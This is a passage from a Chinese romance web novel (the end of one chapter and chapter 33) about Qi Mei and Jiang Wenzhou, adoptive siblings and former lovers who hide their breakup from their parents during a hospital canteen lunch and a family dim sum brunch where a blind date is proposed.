后来升初中,他们同校,江问舟是高三,变成她去高中部给他送东西或者等他一起放学,刚开始会有人起哄,喊他:“江问舟,有美女找你,是不是你女朋友啊?” 他就会站起来,满脸严肃地反驳:“不要乱开玩笑,这是我妹妹。” 等她多去几次,他们班同学都认识她了,再去就会听到有人帮她叫人:“江问舟,你妹妹来找你了!” 一直到后来上大学,刚开始他都还会向别人介绍她:“这是我妹妹。” 直到他开始意识到他们之间的关系好像有了点变质,她喜欢他,漫长的暧昧时光里,这句“这是我妹妹”就变成了“叔叔家的女儿”。 最后变成:“这是我女朋友。” 她曾经以为,终究会有一天,这句话会变成“这是我爱人”,但是她又觉得这不可能。 后来他们分手,她是真的希望这句“这是我妹妹”重出江湖,发自真心的希望。 ——似乎只要这样,他们之间的关系就会回到最初,仍然是关系亲密的家人。 然而等到这一天真的到来,她却发现并非如此。 太难听了。 她从没听过这么难听的介绍语。 刺耳刺心刺人神经,刺得她差点要不顾仪态地跳起来,疯婆子似的大声否认一句:“我不是他妹妹!” 但最后一丝死死维持住的理智就像缰绳,将她牢牢拉住。 再向前一步就是悬崖,说出去的话泼出去的水,这句话一说,有些事就再也没有挽回的余地。 她不敢赌,更不想让江问舟在这个地方,他可能要度过余生职业生涯的地方,让他成为同事们议论的笑话。 齐眉抬头看向江问舟,见他正低头吃着菜,孙茂芸问他:“今天的糖醋排骨还可以吧?” “很可以,这道菜还是家里的味道好。”他笑着应道,眉眼舒展,温和又沉静。 孙茂芸笑着哼了声:“那是,我都做了多少年了,熟能生巧,能不好么?没办法,谁叫你就喜欢吃这个口味呢。” 江眀琮这时问道:“那我喜欢吃什么,你记得吗?” “你喜欢吃……”孙茂芸斜眼乜他一下,咽下不适合在饭桌上说的字眼,“你不挑食,我知道的。” 江眀琮闻言撇撇嘴,啧了声。 听着他们的对话,齐眉突然发现,过去触手可及的人,现在却真的离她越来越远,迟早触不可及。 她收回视线,心里觉得恐慌至极,那种心慌心悸的感觉让她几乎透不过气来。 你看,人可真是一种既有意思又难以捉摸的生物,曾经对某样东西避之唯恐不及,可一旦这个东西真的没了,又开始不愿意。 人有时候就是贱得慌。齐眉低着头,在心里悻悻骂了一句。 ————— 职工食堂饭菜味道不错,孙茂芸和江眀琮先后夸了一句,还让江问舟以后多吃食堂。 说完抬头一看,齐眉餐盘里的饭菜还剩起码一半,只有汤是喝完了的。 孙茂芸微微一怔,问她:“西西是不是不舒服,胃口不好?怎么都没吃到一半。” 齐眉刚嗯了一声,她就说:“那你把餐盘给你爸,让他把你剩的都吃了,可不能浪费粮食。” 她话音刚落,江眀琮的手就伸了过来。 齐眉先是一愣,旋即反应过来,一把将餐盘往自己面前拖,手忙脚乱地拒绝:“不用不用,我自己吃……我、我感冒了,会传染的……” 说着脸都红了起来,显然极其不好意思。 也是,谁这么大了,还要家长帮忙收拾剩饭剩菜啊。 江问舟抬头看她,见她不知怎么回事,眼尾也有一点泛红,整个人都蔫蔫的,忍不住眉头一皱。 感冒得这么厉害,还说自己没事? 他心里有些气不打一处来。 有时候某些事做习惯了,比如管着她,人不在跟前他可以不管,毕竟眼不见心不烦,可人就在这儿,他再怎么跟自己说不要管太多,不要越界,但到了最后…… 我管一下我妹妹,应该可以的……吧? 都还没想清楚呢,想说的话就已经说出来了,“吃不下倒了也没事,有人来回收的,不建议任何人帮别人吃饭,要警惕幽门杆菌传染。” 江眀琮&孙茂芸:“???”啊? 齐眉:“……”懂了,嫌弃我:) 她抿了一下嘴唇,觉得脸上的温度一点点迅速攀升,弯着脖子头也不敢抬,连忙拿起筷子就夹菜。 大概是因为太紧张,又或者是南瓜蒸得太软,刚夹起来就掉了回去,她顿时一愣。 孙茂芸见状立刻道:“匙羹,西西,用匙羹吃。” 她这才反应过来,连忙放下筷子。 虽然一口菜一口饭不停往嘴里送,但确实没什么胃口,加上不舒服,觉得鼻子堵堵的,根本也吃不出味道来。 而且大家基本都已经吃完了,她也不好意思让大家等自己,于是都只随便嚼两下就往下咽,中途觉得有些噎嗓子,就喝一口汤。 整个过程完美诠释了什么叫囫囵吞枣。 孙茂芸和江眀琮一个劲劝她慢点吃,小心别呛着,江问舟在对面看着,很明显的察觉出她的手忙脚乱。 甚至已经有些狼狈的意思。 一时间觉得心里有些说不上来的滋味,还有些后悔自己刚才多嘴。 其实最好就是不说话,就这样慢慢的,当两个相对无言、无话可说的亲戚,就可以了,不是吗? 他叹口气,在心底暗暗警告自己下次一定要注意。 忍住啊,死嘴! 齐眉狼吞虎咽地把剩下的饭菜塞完,开始不停地打嗝,孙茂芸见她抽得眼睛都开始泛泪水了,不由得好气又好笑。 “叫你让你爸吃,他身体好不会被传染的,你偏不听。”她一边嗔怪一边帮她拍背。 见她嘴唇一动像是要反驳,立刻伸手捏住,“不准讲话,憋住,憋气,一会儿就好了。” 齐眉眨眨眼,接着听到江眀琮打发江问舟帮她收拾碗筷。 她闻言连忙伸手要自己拿,心说我可不要你帮忙,万一我有幽门杆菌感染,传染给你了多不好:) 江问舟的手刚碰到餐盘边缘,餐盘就被她拿了起来,像是不经意间的巧合,她还顺便将汤碗也放到了餐盘上,端着就站起身。 “让你哥去嘛。”孙茂芸皱着眉道。 齐眉憋了一会儿气,总算是把嗝给憋了回去,摇摇头:“我要洗手的嘛。” 说着还要把孙茂芸和江眀琮的餐盘一起拿走。 还没动手,江眀琮就温声道:“你就两只手,拿不了这么多,帮你妈拿就好了。” 齐眉哦了声,端着两个餐盘先走一步。 直到这时孙茂芸才有些不高兴地瞪一眼江问舟,小声数落他:“你说你刚才嘴贱什么?惹她不高兴你就舒服了?” 江问舟不占理,根本没法反驳这话,只能理亏地蹭蹭鼻尖,神情有些许尴尬。 将餐盘放到回收处,洗了手,齐眉重新把口罩戴上。 毫不夸张的说,口罩覆盖住脸孔的那一刻,她觉得自己像是穿上了衣服,终于可以松口气。 也不用再勉强自己做任何表情。 她一边抠着手指,一边在旁边等孙茂芸他们,同时好奇地打量着周围。 这个时候已经中午一点,食堂的窗口基本闭餐,工作人员在打扫卫生,有人来将回收餐盘的推车拉走。 周围还在吃饭的人更是寥寥无几。 齐眉这时看见一个熟悉的身影正向门口走去,是她的邻居徐医生,本来想叫人,可话到嘴边又作罢。 实在是没必要,叫住了又能怎么样呢?除了说一句你也现在才吃饭啊,就没了,还是不要浪费人家本就不多的午休时间啦。 大家邻里邻居,要打招呼什么时候不行呢。 转头见孙茂芸过来,她立刻把手帕纸递过去,孙茂芸接过,一边擦手,一边还笑眯眯地捏了捏她的脸。 问她:“要不要喝点咖啡提神?你不是还要去同事那儿么,我给你买两杯咖啡带着去,好不好?” 见齐眉乖巧地点点头,她就揽过她的肩膀,和她一块往外走,将父子俩扔在了后面。 江眀琮看着她们的背影,忽然想起终于刚来的时候,妻子同他说起的担忧。 于是放慢了脚步转头看一眼江问舟,温声喊了一下他的名字:“舟舟。” 江问舟将看着前面的视线收回,疑惑地嗯了声。 “你和西西……”江眀琮斟酌着措辞,“是不是……嗯,有些什么误会?” 江问舟的心下意识一提,随即笑起来,否认道:“没有啊,这不好好的么,爸您突然这么问?” 是不是哪儿出问题了,让他看出来了? “你妈跟我说,觉得你们俩生分了。”江眀琮实话实说,“老实说,我也有这种感觉,是不是你们几年没见,所以生疏了?” 可按理说,不应该的。 他们在同一个地方同一所学校读书,前后有八年时间是他们俩彼此照顾着过来的,放假的时候都一起回家一起返校,每次打电话给一个,就会知道另一个的近况…… 所以那八年里他们的关系显然还是不错的,现在只是分开了三年,总不至于就把之前十几年相处出来的感情全都磨灭了吧? 而且应该也不至于无话可说,这几年里他们都不联系的? 察觉到他的目光越来越充满怀疑,江问舟可真是头皮发麻,那叫一个七上八下心跳加快。 他甚至觉得有点热,后背开始冒汗,也不知道是晒的,还是被吓的。 “没有吧……”他蹭蹭鼻尖,眼睑微垂,“我没有觉得……妈是凭什么判断我和西西生疏了的?” 他选择将问题抛了回去。 这个江眀琮倒是说不上来,妻子说的时候也没提交什么证据,主打一个看感觉。 见他没能立刻回答,江问舟便松了口气,笑道:“我和西西都这么大了,就算是亲兄妹,也该避避嫌,不然以后……不说我,万一西西谈恋爱了,男朋友知道,肯定会介意,所以……” 他耸耸肩,用轻松的语气开玩笑道:“谁让你和妈当初没把我生成女儿?姐妹之间倒是不用这样刻意避嫌。” 这是将他和齐眉之间的隔阂和疏远,全都钉死在他们已经大了就该避嫌这个说法上。 不仅是要让父母相信,更重要的是给自己洗脑。 就像在人生坍塌的废墟之上,开始重建新的生活秩序和人际关系。 他们走进了连廊,炎热的阳光立刻就被遮挡,周围空气似乎一下就变得凉爽不少。 到了住院部和门诊大楼的岔路口,江问舟停下,冲前面喊了声:“妈,西西。” 齐眉听见他的声音,心里一动,立刻扭过头。 连她自己都不知道,她的眼睛里竟然盛着一些期待。 江问舟被她的目光烫了一下,旋即立刻甩开这种感觉,笑着将提着的保温饭盒递给江眀琮,笑道:“我就送你们到这里了。” 孙茂芸忙道:“你纪叔叔下午要拔管是不是?你记得帮忙看一下。” “我让人给你们拍照。”江问舟点点头,让她放心。 说完顿了顿,看一眼齐眉,温声道:“西西感冒了记得吃药,不要喝酒,喝了酒就不要吃药,多休息。” 接着不等齐眉反应,就扭头看向江眀琮:“爸开车小心。” 每个人都嘱咐到了,他这才点点头,扭身大步往住院部那边走去。 齐眉定定地看着他的背影走远,觉得他是那样坚定又洒脱。 她曾经那么希望他能做到这样,将他们的过去当成一场梦,梦醒了像什么都没发生过一样,不让干爸干妈担心。 可是当他真的用行动告诉她,她如愿以偿了,她却并没有觉得高兴。 反而觉得委屈起来。 他怎么可以这样?怎么可以…… 才想了个开头,她便听见孙茂芸在她耳边说:“走了走了,我们也回去了。” 齐眉立刻反应过来,内心觉得一阵羞愧。 从门诊大楼的一楼正门出来,正午的阳光热烈到刺眼,齐眉有些不适地眯起眼:“……咖啡店在哪边?往左,还是往右?” 她觉得头有点晕,应该是被太阳晒的。 孙茂芸拉着她走,从急诊门前经过的时候,正好看见救护车在门口停下,一家三口便忍不住停下脚步看看是怎么回事。 结果却意外发现,从救护车上下来的,竟然是早上刚和齐眉交过班的刘医生。 她惊讶地咦了声,孙茂芸扭头,看见她眼睛突然瞪得溜圆,忙问:“怎么了,不会是认识的吧?” “送人来的是我同事。”齐眉往她那边偏了偏头,小声道,“我们一般是把旅客往省二转运,很少往这边送的。” “是不是那边收不过来了,所以往这边转?”孙茂芸有些好奇地猜测。 答案很快揭晓。 刘医生将病人送进去之后,刚出门,就听到有人喊自己:“刘姐。” “阿眉?你怎么在这儿?”刘医生转头,神情从疑惑立刻变成惊讶,还有些好奇地看看江眀琮和孙茂芸。 “有长辈住院,和家里人来看看。”齐眉解释一句,好奇往急诊里面看了眼,问道,“刚才送来的病人是怎么了?” 刘医生哦了声:“你说那个啊,是从宁城过来的,髋骨粉碎性骨折的病人,来容城做手术的,联系的是附一的医生。” 原来如此,齐眉恍然大悟:“我说怎么是送过来这边,还以为是省二又没床位了。” “那倒不是,上午你刚下班那会儿,有个突然晕倒的,就送省二去了。”刘医生笑着应道,同他们聊了几句,这才道别分开。 拿到咖啡,几人在停车场分开,齐眉去陈羽丹那儿,江眀琮和孙茂芸回家。 傍晚六点半,齐眉和陈羽丹已经吃完家庭版火锅,出门去她店里。 出来的时候遇到陈羽丹的邻居,他们还客气地聊了几句,说的是什么电表的事,齐眉在一旁边听边走神,想的还是江问舟中午在食堂时对同事介绍她的那一句“这是我妹妹”。 直到下楼一句走到外面的大路口,上了车,才听陈羽丹说:“刚才我那邻居居然打听你,笑死,这才第一次见吧,就打听人家的私人信息,这人可真下头。” 齐眉一愣:“……什么?” 还有这事? 陈羽丹系好安全带,扭头一看,只见她两眼茫然,便问:“你当时没听到啊?” “……没有。”齐眉迟疑了一下,摇摇头,“在想……别的事。” 顿了顿,她有些好奇地问:“你邻居……男的?” 她仔细想想,还真没什么印象。 陈羽丹闻言立刻哈哈笑出声来,“好好好,他这媚眼也是白抛了,活该。” 齐眉笑笑:“你平时在家要注意安全,门上记得装一个摄像头。” “知道的,我已经买了,明天应该能到。陈羽丹正色应道。” 去店里的路上,齐眉顺道回家接年年。 进门时听到孙茂芸抱怨:“这个舟舟,难得早下班一回,想让他过来喝口汤,结果说什么车已经开过去了,懒得回头,真的是……” 她一时不免心下黯然,终于意识到,江问舟是在刻意避开她,就像她曾经做过的那样。 而她这段时间心里之所以觉得不高兴,所有的难受、不适、无非都是因为接受不了江问舟这么对她罢了。 她可以这么做,但不高兴他也这么做。 说白了,她也就是个只许州官放火的双标狗罢了,齐眉在心里无奈苦笑。 第33章 第三十三章(二合一)她也许不是这世…… 再次见到江问舟,已经是好几天后。 这时纪达已经顺利拔管从监护室转回普通病房好几天,齐眉某天下班时顺路去探望过,见他恢复得十分不错,也不禁为他高兴。 走的时候从病房出来,一路往护士站的方向,想到上次也是在护士站遇到他的*,不知道这次…… 要是真的碰见了,干爸干妈不在,他会不会直接就当没看见她? 她满心都是忐忑,越是靠近护士站,心跳就越明显,都不用看什么手表,她也能知道自己的心率变得有多快。 这时候的心态,甚至已经到了近乡情怯的地步,她下意识地放慢脚步,甚至借着看手机来拖延时间。 但路总有尽头,护士站这时很安静,除了两个正在忙碌的护士,再没有其他人,江问舟更是不可能在。 齐眉先是微微一愣,接着下意识放轻脚步,在她们听见脚步声抬头的那一刹那,立刻加快脚步走过去,直奔电梯方向。 等站在电梯门前,她忍不住喘出一口气时,才发现自己刚才竟然是屏住呼吸过来的。 她愣了一下,旋即心情感到更加糟糕。 这段时间她的情绪一直低落,甚至有时候晚上睡前会觉得胸闷气短,要叹出两口气才会觉得畅快一点。 她当然知道这是为什么,这世上能让她如此忧虑纠结的人和事根本就不多。 甚至可以说只有一件事,一个人。 可是说实话,齐眉并不十分清楚自己现在对江问舟是什么样的感情,自己到底想要什么。 同时心里又还抱着一点侥幸,想着说不准过段日子她就习惯了,也就好了。 嗯,再磕点逍遥丸辅助辅助,能好得更快。 齐眉那天从医院出来,已经是上午十一点半,过了大概一个小时之后,江问舟就从手术室回来了。 下一台手术两点开始,他要趁这个空当,去内分泌科会诊两个病人。 去之前他要先到护士站那儿看会诊单,将具体的请会诊医师是谁、哪床病人、大概什么问题先看一遍。 会诊单刚拿到手,就听办公护士道:“刚才好像你家里人来过了,来看62床。” 江问舟微微一愣:“……是么?” 可他并没有看到孙茂芸或者江眀琮发的信息。 首先为了让纪达能术后静养,孙茂芸和江眀琮已经不会天天来了,而是两三天才来一回,毕竟视频还是很方便的。 其次江问舟昨晚才接到母亲大人的问候,问他周末休不休息,得知他可以休息,立刻就下发通知,明天家里聚餐吃早茶,要他务必到场。 所以孙茂芸和江眀琮今天应该不会出现在医院才是,那来的是…… “很年轻的,跟你爸妈一起来过,是你妹妹吧?那个眼睛特别好认。”护士解释道。 西西啊…… 江问舟眼睛眨了一下,这才淡淡的嗯了声。 看过一遍会诊单上的信息,江问舟就拿着听诊器转身匆匆走了。 这时刚才跟他解释齐眉来过的那位护士才突然想到一个有点让人好奇的点,转身跟同事道:“诶,对了,62床的职业我记得是警察?好像说是跟江医生他爸是同学?” “我记得他儿子说过是战友。”同事想了想,回答道。 “那也就是说,江医生他爸也是这个系统的,是公职人员咯。”她越说越觉得奇怪,“那他怎么会有妹妹啊?江医生好像和陶医生是一届的?我上次还听陶医生问他高中是哪个学校,认不认识谁来着,他三十多了,他妹妹应该也不小了吧?起码是工作了,可放开二胎也就十年,他爸以前……怎么避开的计划生育政策?” 同事想了想:“那不知道啊,说不准人家只是以前是系统内的,后来出来了才生的小女儿呢?以前虽然抓,但要是生了,能老实交罚款也没什么吧?” 这么说好像也讲得通,反正也不可能因为这事就去问江问舟,没熟到这地步。 倒是同样刚从手术室回来的秦一鸣,来找某床病历的时候听到她们的对话,神色有些怪异地扭曲了一下。 但他怕被看出来,赶紧拿着病历夹就溜了,她们不敢问江问舟,可是敢问他的。 江问舟从内分泌科会诊完病人回来,吃饭的时候,才听秦一鸣小声跟他八卦了这事,听完一阵沉默。 半晌他才点点头:“是妹妹啊,没说错。” 秦一鸣:“……” 他噎了一下,有些没好气地吐槽道:“好好好,以后等你……就可以说,我也没说那是亲妹妹啊,是吧?” 这话本意只是调侃,江问舟听了却又是一阵沉默,随后笑着叹口气,摇摇头,什么也没说。 秦一鸣觉得他的态度似乎和以前有点不一样,但思来想去,犹豫再三,还是没好问太多。 第二天一早,他看着金金吃完早饭,打扫好卫生就出了门,按照孙茂芸发过来的地址,去预定好的茶楼吃早茶。 那家茶楼在另一个区,开车过去要一个多小时,以前从没去过的店,也不知道孙茂芸怎么找到的。 “前几天我和你爸去你吕叔的女儿的婚礼,见到你陈阿姨,就是以前负责户籍的那个,你和西西上大学的时候,就是她帮你们迁出户口的,她介绍说这家不错,所以来尝尝嘛。” 孙茂芸一边解释,一边帮他们烫碗。 话音刚落,就听齐眉咳嗽了一声,边咳还边吸鼻子。 江问舟忍不住抬头看她一眼,一面听孙茂芸说她这感冒怎么越来越不好了,一面想起以前的事。 以前齐眉的户口是跟他在同一本户口簿上的,他们还小的时候户籍管理没现在严,加上组织上有心解决肖骊和齐天远遗孤的问题,所以用亲戚投靠的名义,将她的户口落在了江家。 后来他们先后上大学,户口随录取通知书一起迁到学校,就这样都从家里迁了出去,不再在同一个户口簿上。 所以当他们在一起,他想跟家里摊牌,但齐眉不愿意,说怕父母和周围人觉得他们是乱那什么的时候,他气急,直接反问她:“我们既没有血缘关系,也不在一个户口本上,到底哪里不道德了?” 她不吭声,只用沉默表示拒绝。她从来就不是一个胆小,或者优柔寡断的人,但偏偏在这件事格外瞻前顾后。 拖拖拉拉到后来,直接就没了下文,到他们分开之前,她的户口是在学校,他的是在单位。 直到今年回容城工作,他要迁户口,原本孙茂芸是让他直接迁回家,他犹豫再三还是拒绝了,因为心里还抱着几分希望,想着万一齐眉当时就把户口迁回去了,他也迁回去,那不就又在一个户口簿上了? 可现在想想,当初确实是多虑了。江问舟失笑,抿着的嘴角往旁边一撇。 孙茂芸这时将烫好的碗筷放到桌上,转了一下桌,将碗筷转到他面前,接着问齐眉:“西西要不要去医院看看,开点药吃吃?再这么咳下去,气管炎都要出来了。” 齐眉一边咳一边点头,又摇摇头。意思是知道了,但是拒绝去看医生。 “你啊,不听老人言,到时候就知道了。”孙茂芸吐槽了一句,说待会儿吃完饭就带她去药店买点药吃,接着看向江问舟。 说:“讲到户口,我听说宣化路可能要拆啊,你和西西的户口要不要想办法迁回来?” “西西的户口……”江问舟一愣,有些疑惑地看一眼齐眉。 江眀琮见状就解释:“跟你一样,在你们自己房子那边。” 江问舟这时才知道,原来齐眉和他的做法是一样的,可他是因为那时心存妄想,她是为什么? 她这么在意爸妈,反正也不在意他的死活,为什么不干脆把事情做到最绝,以示她退回到妹妹这个位置的坚定决心,然后通过爸妈让他偶然得知,这才能让他更加死心,不是吗? ——说是说从今往后都不再想和她以前的事啦,可到底那么多年的感情,当时的爱是真的,开心和幸福也是真的,怎么可能说忘就立刻忘。 何况有些事已经成了习惯,说一句深入骨髓都毫不为过,又怎么可能说改就立刻能改得掉? 江问舟看一眼齐眉,见她好不容易止了咳,眼尾红红的,眼睫毛都有点湿润,想说什么,又憋了回去。 转移视线去看江眀琮,问道:“这年头还有按人头分钱这种好事?” “怎么可能。”江眀琮失笑摇头,“你妈白想的,还不一定能拆得成呢,只是有这个风声,但具体章程还没出来,等真的要拆,赔偿标准大家不满意,还有得拉扯呢。” 他叹口气:“我是不想拆,好歹住了几十年,有感情了。” “到时候会原址回迁,问题不大,反正你们现在也不在那儿住。”江问舟随口应道,转了一下桌子。 桌上的水壶恰好停在齐眉面前。 齐眉屈着手指用指关节揩掉咳出来的眼泪,倒了杯热茶润嗓子,听到江眀琮说:“那也麻烦啊,起码要等两三年,还有人说回迁房质量不好,哎呀,这年头,该做事的人一大把不好好做……” 话刚说到这里,孙茂芸就打断他说:“以前也有啊,舟舟和西西他们学校以前那个校长,叫汪莉的,上个月不就被留置了,牵连出好几个区还有其他市县的教育局官员呢。” 这消息倒不算特别突然,毕竟上个月才看到新闻说附近某市的教育局局长被带走了。 但齐眉还是忍不住说了句:“哇,她终于被抓啦?” 说完还哈的笑了声,那声音还是哑的,但这竟然完全不影响她语气里要表达的高兴到近乎幸灾乐祸的情绪。 看来这位汪校长被抓,真是大快她心了。 孙茂芸很好奇:“西西怎么这么高兴?” 齐眉抿着唇笑,又咳嗽起来,听着像是控制不住自己。 江问舟嘴角一抽,实在没忍住,还是接了这个话题:“汪校长在的时候,学校天天都在修些没用的东西,地板砖全都撬了重新铺,树都砍了重新栽,公告牌修一年修不完,好端端的致贤楼突然成了危楼推倒重建,新的体育馆规划图看起来高大上结果修出来丑得要死,外人都叫我们工地中学……” 齐眉上大学的时候去同乡会,新来的学弟学妹自我介绍,来自哪个城市哪个学校,她刚开口,一位容城实验中学毕业的同学就说:“我知道你们学校,工地中学嘛,天天修些修那,你们的体育馆是真的丑,几千万就修成这样,你们都没意见吗?” 天杀的,我们叫容城三中!还有,我们也很有意见! 但有什么办法呢,谁都看得出来肯定有点猫腻,可能怎么办?还不是只能忍了。 “我倒是听说她前几年高升了的,怎么这次?”江问舟解释完,看一眼垂着头喝水的齐眉,问道,“有细节吗?” “有,有的。”孙茂芸立刻点头,开始细数自己听说来的细节,比如给民办学校违规发放办学资格、帮一些老师绕过正常程序晋升职称、通过亲戚开设的培训中心垄断全市中小学的研学旅行,等等。 反正很吓人就对了,孙茂芸啧啧感慨:“好几十年啊,听说这次从她家里搜出来几千万的现金,还有几千万的外汇,什么翡翠啊名酒名表啊,好几十件,还有黄金,还有一沓房本,京市的七八套,还有海外的房产,价值上亿,哦对了,去搜的她家那套别墅,价值一千八百万,是一个房地产开发商送的,她帮人家走后门批了一个什么项目。” “就这么住进去?不怕被举报?”江问舟好奇,这是避都不避? “说是她弟弟的嘛,姐弟住在一起多正常,而且她弟弟开公司的,效益好,买得起别墅很正常,又心疼姐姐,让姐姐一家人过来住一起,多正常。” 反正只要想,说法就很多,江问舟听了无奈笑笑。 他干脆说起另一件事:“给你和爸约了体检,下个星期二,去做了吧,胃肠镜人多,只能约在周五,无痛的,周四记得去一趟门诊,要做麻醉评估,领泻药回来喝。” 孙茂芸和江眀琮的脸上立刻就出现紧张的神色,俩人不约而同地边听边点头。 齐眉算了一下时间,拍拍孙茂芸的胳膊,一边抿着嘴咳嗽,一边指指自己,意思是她陪他们去,别害怕。 结果孙茂芸看她一眼,对江问舟说:“西西说她也要去看咳嗽,你顺便帮她挂一个呼吸科的号。” 齐眉:“???” 见她一时愣住,江问舟差点就想笑出来,但最后硬是忍住了,神色淡淡地点点头。 齐眉顿时更傻眼了,忍不住看向他,这次的目光里很明显的多出一抹清晰的央求。 江问舟迎着她的目光笑了一下,什么都没说。 倒是孙茂芸看了他一眼,忽然问了句:“舟舟呀,你想不想认识一下新朋友呀?去相个亲,怎么样?” 满屋的空气好像都在这句话之后变成了凝滞的沉默。 江问舟愣了半晌才反应过来,看一眼满脸淡定的江眀琮,这才有些迟疑地问道:“……这是、怎么突然说这个?” ————— 要不要去相亲? 这个问题来得太突然了,突然到让江问舟措手不及的地步。 而且这也是孙茂芸第一次这么直接的提出这个问题,在这之前她从来没有过问过他和齐眉这件事。 所以当她当她此刻提出此事,不仅是江问舟,就连齐眉也惊得不知怎么反应才好。 直到江问舟反应过来,问怎么突然说到这事,话音刚落,她便立刻发出一阵惊天动地的咳嗽声。 那声音明显是因为被呛住了,一声接一声,听起来简直撕心裂肺,怎么止都止不住。 孙茂芸和江眀琮顿时吓了一跳,连忙放下水杯去关切她:“怎么了,怎么突然咳这么厉害?” “是不是呛到了?哎呀,小心一点嘛……忍一下,憋一下憋一下,不能再咳了……” 齐眉紧紧咬住嘴唇,憋得整个人都在浑身颤抖。 她好怕自己的哭声会和咳嗽一起冲破牙关,变成尖锐的嘶吼。 相亲?怎么可以?怎么可以! 相亲意味着江问舟要开始一段新的关系,他以后会属于另一个人,这个家会多一个人,那个人会不会知道她和江问舟曾经的关系,会不会容不下她,会不会把她从这个家里赶出去…… 这些猜测几乎是在瞬间,便从她的心底泉水一样翻滚着涌出,转瞬便塞满脑海,让她觉得头都开始痛了。 见她憋得脸色苍白,整个人筛糠一样,江眀琮啧了声,叹口气道:“算了算了,想咳就咳吧,就这么憋着,会不会对肺不好?” 说着又埋怨孙茂芸:“你也真是,要说这事也不提前说一下,这么突然,看给孩子吓的。” 可孙茂芸也觉得冤啊,“这不是话赶话说到了么,谁知道……” 顿了顿,又搂着齐眉的肩膀帮她拍背,温声哄道:“好了好了,没事没事,都怪我没提醒,下次妈再也不吓你了,好不好?” 齐眉听了连连摇头,一把抱住她,把脸埋进她颈窝里,不停地用力深呼吸。 这哪里是关干妈的事,分明是她,是她自己的问题…… 她的眼泪有些忍不住,漫了一点出来,她察觉以后立刻紧紧闭上眼,更加用力地呼吸。 江问舟看着她,从她的背影就能看出她的恐惧和紧张,心先是一提,随即自嘲地摇摇头。 孙茂芸见状,以为他也被吓到了,只是没齐眉反应这么大,立刻讪讪着解释道:“其实也没有很突然吧……就是那天我和你爸去喝酒嘛,碰到你陈阿姨他们,聊天的时候说起你陈阿姨家有个侄女,在市医保局上班的,今年刚好三十岁,但还没有对象,个人条件上来说,跟你就还是蛮合适的,又是熟人家的孩子,知根知底不怕被骗嘛。” 她和江眀琮都这么想的,所以才会想到问问江问舟。 有的时候说不准就差这么一问,当家长的问了,当孩子的同意了,俩人一见面,觉得合眼缘,自然就处到一起,到最后顺利成就一桩美满姻缘,要是一开始没问,说不定就这么错过了。 但她没想到会把两个孩子都吓到,特别是齐眉,好家伙,怎么咳成这样? 孙茂芸解释完,赶紧又拍拍她的背。 听到她的呼吸比刚才平缓了一点,这才松口气,等她抬起脸,又赶紧给她递纸巾。 还不忘接着问江问舟:“怎么样,去不去?就当认识一个普通朋友,不用非得往处男女朋友上去靠嘛,多积累一点人脉也行,你们不是经常要跟医保局打交道的吗?” 孙茂芸越说越觉得不错,反正怎么着都不亏。 江问舟被问得一时噎住,有些不知道该怎么回答。 说实话,他心里也许不想,但理智告诉他,应该答应的,人总归是要往前走,不能也不该一直停留在原地。 前路迢迢,他确实应该寻找另一位同伴一起走,那样会好过许多。 可是…… 齐眉这时猛然抬头,接着揩眼泪的动作,向他看过来。 那双泛起红血丝的眼眸里充满了恐惧和不甘愿,还有很明显的央求。 仿佛在同他说:你不要去,我不要你去。 江问舟的呼吸一顿,心里突然觉得格外难过,你看啊,这个人就是这样,霸道又不讲理,她不要他了,但又不允许他去找别人。 她也许不是这世上最坏的妹妹,但一定是最不讲理的前女友。 可是他能怎么办呢?江问舟不知道。 他沉默下来,像是在认真考虑这件事,等到服务员上完菜出去,才叹出一口气。 摇摇头道:“还是算了吧,最近忙得很,手术排得多,实验室也忙,郭教授马上要出去开会,发言稿和PPT都得我做,还没开始呢。” “这样啊……”孙茂芸仔细打量一下他的表情,觉得他似乎有些言不由衷,但犹豫片刻,还是没有追问,“那就算了,我跟你陈阿姨说一声就行。” 江问舟夹了个虾饺,头也不抬地嗯了声,声音平静,似乎未受任何影响。 齐眉倒是松了口气,心里竟然跟着生出了一些颇为隐秘的欢喜。 会是因为她吗?会是因为考虑到她的感受,所以他才没有答应吗? 可当她抬头看向他,却见他根本不往自己这边看,神色冷静又平淡,一时又觉得不太可能。 正好江眀琮问起他要不要给学校的学生授课的事,他点点头:“这个学期马上就要结束了,下个学期才排我的课,不过最近在帮忙出题,学校要更新外科学的期末考试题库,有一些和当前版本教材不匹配的题目也要剔除,我们正在尝试使用AI来辅助这项工作。” 这下就连孙茂芸都彻底相信了他的说辞,哎哟一声:“事情这么多,还能有时间休息么?” “一天睡四五个小时肯定还是有的,不用担心。”江问舟笑笑,温声应道。 他平和的眉眼透着内敛和淡然,齐眉看得心中一颤,又不由得黯然,不得不承认是自己自作多情了。 也是啊,谁会为了前女友的不高兴,就放弃寻找新的幸福这件事呢?前女友而已,和自己未来漫长的一生相比,根本不值一提。 “西西多喝点粥。”孙茂芸这时喊了她一声,她连忙回过神来,乖巧地嗯了声。 粥是及第粥,里面有瘦肉和猪肝,还有生鱼片之类,孙茂芸觉得料多又营养,所以特地叫了一碗大份的。 “这粥味道是还不错,火候够了。”江眀琮夸了一句。 孙茂芸接着说:“这个酥皮叉烧包也可以,酥皮开得好,就是里面太油了,又甜又油,最多吃一个,老江你不要吃,这可是胰岛素的高端局。” 江问舟听到这里不由得好笑:“是胰岛的高端局,严谨一点。” “意思到位就好了嘛。”孙茂芸摆摆手,问他,“还要不要虾饺,两笼够不够?” “两笼才八个,都不够你儿子塞牙缝的。”江眀琮听了就大手一挥,“多点一点,让他吃个过瘾。” 江问舟一噎,半晌才摇摇头:“吃不了这么多,还有别的,不让我吃了?再加一份豉汁排骨吧,西西喜欢吃。” 齐眉一愣,有些错愕地抬起头,似乎有些不敢相信自己听到了什么。 他居然会关心她喜欢吃什么?虽然语气平淡,但…… 但察觉到她的目光,江问舟便抬眼疑惑地回望过去,甚至还问了句:“怎么了?” 这样平淡的语气,和他眼眸里平静的目光,像一桶冷水,瞬间将齐眉泼醒过来。 她的脸孔瞬间涨红,为自己再一次自作多情而赧然、羞愧,甚至是后悔。 “这是怎么了?”孙茂芸一面给她夹了块凤爪,一面奇怪地问她,“烫啊?烫就一会儿再吃。” 齐眉放下匙羹,立刻伸手捏了捏耳垂,垂着眼表现赧然——她演得好极了,好像真有那么回事似的。 其实心里一边尴尬得都快要哭出来了,一边还再三叮嘱自己,不要再自作多情了! 这场家人都其乐融融的聚会里,只有齐眉格外沉默,偏偏孙茂芸和江眀琮都以为她是身体不舒服,一会儿给她倒热水,一会儿说不准她晚上再去店里了,他们的关切让她深刻领教什么叫有苦说不出。 